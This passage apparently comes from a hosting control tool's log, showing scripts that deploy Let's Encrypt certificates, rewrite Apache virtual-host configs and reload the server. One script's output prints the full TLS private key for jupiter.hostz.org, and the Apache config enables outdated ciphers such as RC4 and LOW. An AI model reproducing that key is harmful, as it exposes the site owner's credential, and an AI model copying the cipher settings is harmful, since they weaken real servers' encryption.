ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-12 06:01:07: 

chmod 755 /tmp/pkp160638; /tmp/pkp160638; rm /tmp/pkp160638

2025-12-12 06:01:07: 


dir=/etc/ssl/certs


2025-12-12 06:01:07: 

PUT: /tmp/pkp664700

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_jupiter_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-12 06:01:07: 

chmod 755 /tmp/pkp664700; /tmp/pkp664700; rm /tmp/pkp664700

2025-12-12 06:01:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 41

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-12 06:01:07: 

PUT: /tmp/pkp698631

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_jupiter_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_jupiter_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_jupiter_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf= 1'
fi


2025-12-12 06:01:07: 

chmod 755 /tmp/pkp698631; /tmp/pkp698631; rm /tmp/pkp698631

2025-12-12 06:01:07: 




2025-12-12 06:01:07: 

PUT: /tmp/pkp560638

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-12 06:01:07: 

chmod 755 /tmp/pkp560638; /tmp/pkp560638; rm /tmp/pkp560638

2025-12-12 06:01:07: 


.


2025-12-12 06:01:07: Establishing a connection
2025-12-12 06:01:07: 

PUT: /tmp/pkp690081

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-12 06:01:08: 

chmod 755 /tmp/pkp690081; /tmp/pkp690081; rm /tmp/pkp690081

2025-12-12 06:01:08: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-12 06:01:08: 

PUT: /tmp/pkp409022

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_jupiter_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:01:08: 

chmod 755 /tmp/pkp409022; /tmp/pkp409022; rm /tmp/pkp409022

2025-12-12 06:01:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf	1307

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-12 06:01:08: 

PUT: /tmp/pkp924256

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:01:08: 

chmod 755 /tmp/pkp924256; /tmp/pkp924256; rm /tmp/pkp924256

2025-12-12 06:01:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5365
52:4e:0e:df:23:29:32:ed:19:af:84:98:21:10:26:4d

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBfE/A6OnoT5g+cyEuw4Adcl6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMjMzWhcNMjYwMzEyMDUwMjMyWjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJw/HbxRP3J6M66zyAhLrhO99Qu5DCK9yRj/A5CsipV3YT76QJzH8BJPTmk
/EIbQif0ehuY4b2P4GC0AOkY6R7HM0VNl8XBUuhCXqqoUsLB0RPVSRKRARS4udD/
B8OmJ0+YzTgQ/QHVKOsp5ig8g0SvGHEEm4IrLki9IW1GgBc1zPHI58CFDTxh7g+t
/OhVpJxjwydk3HxnBBtwPcSUb+SNywpOlPv7P4q1frvDMstzWJftqnk4UU9WalGn
pGmrdlhXvZ8cE5O2Rg7cCJF5Y1Vs3iSWs6GMaqm7kQdrmZvgguovijn8Nrj/omCl
fYwPTTvYADjA7h0ic1omlMC1pssCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUhFB+zK0sCcrFZx4t4gyvylAe4IgwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzEyMy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJghRAAAEAwBH
MEUCIFba7ON6n1JW3sPyowCUHzTsuWUnHngr55n+NDfosVNqAiEAvbQwnOHbuVL4
WI2vcOgmcOLAupYqTerhoqlXz1xGnZ8AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsRJhAmAAgAAAUAK2Iv5AQDAEgwRgIhAPKVeYsVKYtXQuJg
Vi52IXaT85I8nrvQVmA481oNlHGQAiEApdwjihO4aeQrrihTlcaJS902Epvaxf4E
JwTWmTfxSiYwDQYJKoZIhvcNAQELBQADggEBAKvuthtqv9ryoYXHot9cb3mnFmH6
7QJ9V4z/5HyI8MVf9o1tnn/nBdn8PhCZuAP+gg9yc9fffi6HSdJXhGDFMgrtwVI3
MiN0YroiNfGKbdeda1wQdwVDJa5vM4J4pkF6q2vggC9dQ493OHLceS9dAlonwIyh
/loADu0UuHeAjsaXGVErq6+YIUN7YgfcbBDc9i0dCe3hmoH2Q3a7Hpf7Oeojhdo6
IfE6kGSB/5MhiPAyRP1anON/NSCzZ5xq1W7HDKc4QwllIAEV7rPWcZhar4Z0Ao6H
cZFxUYsA/KnSLxeT8TNYvFGuYknkebbDGDZE69BZBZot0hdel6LegAiRcqA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCycPx28UT9yejO
us8gIS64TvfULuQwivckY/wOQrIqVd2E++kCcx/AST05pPxCG0In9HobmOG9j+Bg
tADpGOkexzNFTZfFwVLoQl6qqFLCwdET1UkSkQEUuLnQ/wfDpidPmM04EP0B1Sjr
KeYoPINErxhxBJuCKy5IvSFtRoAXNczxyOfAhQ08Ye4PrfzoVaScY8MnZNx8ZwQb
cD3ElG/kjcsKTpT7+z+KtX67wzLLc1iX7ap5OFFPVmpRp6Rpq3ZYV72fHBOTtkYO
3AiReWNVbN4klrOhjGqpu5EHa5mb4ILqL4o5/Da4/6JgpX2MD0072AA4wO4dInNa
JpTAtabLAgMBAAECggEAe6ggzKxWCymo09pRPwq/vam7xKbaK2mh6u3+9kLyBLSM
VmPcDX6KOk6GxzO2PHl3VwjstcM0bJEQBPO4zdAdfN6+gQBMdRaLxbh4sfsDn0OB
CCV+BgfGn/2Dh3m0f7jc9SQG0xuyuVpmiND4VlnY/ff5EBkJSyNxZ6bpSzjX+zx8
T/4zZ+fjmVIbB5C93/7auk/vUh3cYfUnh6+axWFcyoESK9LjMhewpeiJbaFPyyrS
2bTKXvb08i50lHjiNi3zaXEvQpJqMKzjdEJHHE3MYnA+VdwB+kcCMfD0AjjCc19C
fUtxkrWzQSBlNrK9H6Riy3En2WkBimyjkqjdbFyDAQKBgQDlzlktJXRIK9ybN13u
M9CjUj8ko5Ru3mpj2SFtQXk6EiHSpOtwDRLvB7vsHQHrAsOd1kWExc/OMBHEk7Z6
7gvAauYEC1ZUDwoJFEN1j3w+JL431KvKFAlpLKWQ9SRUON+O6u6xQSVS3OSfkqmt
fHe76Nlct/lHNkuDBvhFORIBOwKBgQDGx9X7xw8U3+CGVUruXlFbVhP4YEu5a+xt
xXJhSBmHjldtEoVJQElL+Hvajke4ihS06e2RxUIR4lOgLcpAzUnjKRP4U8Y3ocOH
VTP+vvN9wQC3gPeKJJ3ya/o72TUSXKLDZ6h7AYv0dgljclo38dJEQlUn7ix3TtZR
mN8f7QuXsQKBgQDWMCSn0n/2AIOmW819hefRQYg+wwRG7aClnavtJBg0StAhf7s8
/cKG7WN253ZxL2tZwmubG6/a0qzM1ow/OX3Ugw4N+O8me7nzymIxwWGgnih46wyO
1WwMDiPm3sVUhom/sDJ3HWwHNoEUReNGInuKtbVaGNMLT4zD/AwMoOuqHwKBgFtB
BiUNnwjQNfy1Ty7asbKic4yEeH7o4qMKD5ZFSSMH3269H98e2gc8TW9p/dbj3Nmo
wl03FzuqkQVpv/27wH2+L+LCYq7LXj3UiYgbFSDX54JWfE04viG6HCg5cLm7OSVH
gvrlHODfBzRWHMCuDP81DG7GUjd7Q7w118iKQ9YhAoGBAInKzCDEnUMmQH+V/QSr
QOMqDSjTPnatbDav/5BpIh6WHCfc7Lc3J1Zx2MZSxdOJURtK1niWqa8clPlpr3mY
6RnGXkCpIoJJdnGhOy8wahRY7L9jvo39cFKP2eK7xw0LqUUNr2JeU1UnfcMiNo3i
OQXms728zbU18ikLeiP8nMoU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-12 06:01:08: Establishing a connection
2025-12-12 06:01:09: Establishing a connection
2025-12-12 06:01:10: 

PUT: /tmp/pkp382095

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-12 06:01:11: 

chmod 755 /tmp/pkp382095; /tmp/pkp382095; rm /tmp/pkp382095

2025-12-12 06:01:11: 


0


2025-12-13 06:00:01: Establishing a connection
2025-12-13 06:00:03: Establishing a connection
2025-12-13 06:00:04: 

PUT: /tmp/pkp943577

#!/bin/bash
if [ -d "/var/www/hostz_earth/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-13 06:00:05: 

chmod 755 /tmp/pkp943577; /tmp/pkp943577; rm /tmp/pkp943577

2025-12-13 06:00:05: 


1


2025-12-13 06:00:07: Establishing a connection
2025-12-13 06:00:09: 

PUT: /tmp/pkp428865

#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
cat > QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8


2025-12-13 06:00:10: 

chmod 755 /tmp/pkp428865; /tmp/pkp428865; rm /tmp/pkp428865

2025-12-13 06:00:10: 




2025-12-13 06:00:13: Establishing a connection
2025-12-13 06:00:15: 

PUT: /tmp/pkp414181

#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
rm QYX81C7jyvrfBo4-trDK9Qcjhix4WKvxw8UTvZwLHD8


2025-12-13 06:00:16: 

chmod 755 /tmp/pkp414181; /tmp/pkp414181; rm /tmp/pkp414181

2025-12-13 06:00:16: 




2025-12-13 06:00:16: Establishing a connection
2025-12-13 06:00:17: 

PUT: /tmp/pkp666629

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
7e:6d:1d:c7:8e:1f:c7:35:aa:0f:42:ae:7f:d3:c0:c8

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBZQBtIgrmuVw1O4avHJnbOVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEzMDUwMTQzWhcNMjYwMzEzMDUwMTQyWjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC2zOKPTjOiGI77JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe
24dSiPDerSxntpHhozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0
dsrW/Vy/Ec7LIuQ/83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2i
DT53UgCqpuM8PjBUhVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM
8fXIqMMmZ1vxxYt9SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s
563i67TusQfT8c22TBN79E1JAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCnXV/ckVnt1zJ5vAeV6cgn1HlQvMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTE1LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AEmc
m2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZLnl0AAAQDAEgwRgIh
AN/Rv8McrS8PZ44PfbiNiJt2TN413tF1V6AT6RXuU8KqAiEA6IGPJ3KU7o+mGsCe
0BHA/NMrQwC9i4s8Sh5eBJh8fA8AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB
/BxEWMS26AAAAZsWS5/TAAgAAAUAK/513wQDAEcwRQIgBUO+UXa8EHUDKWd42in3
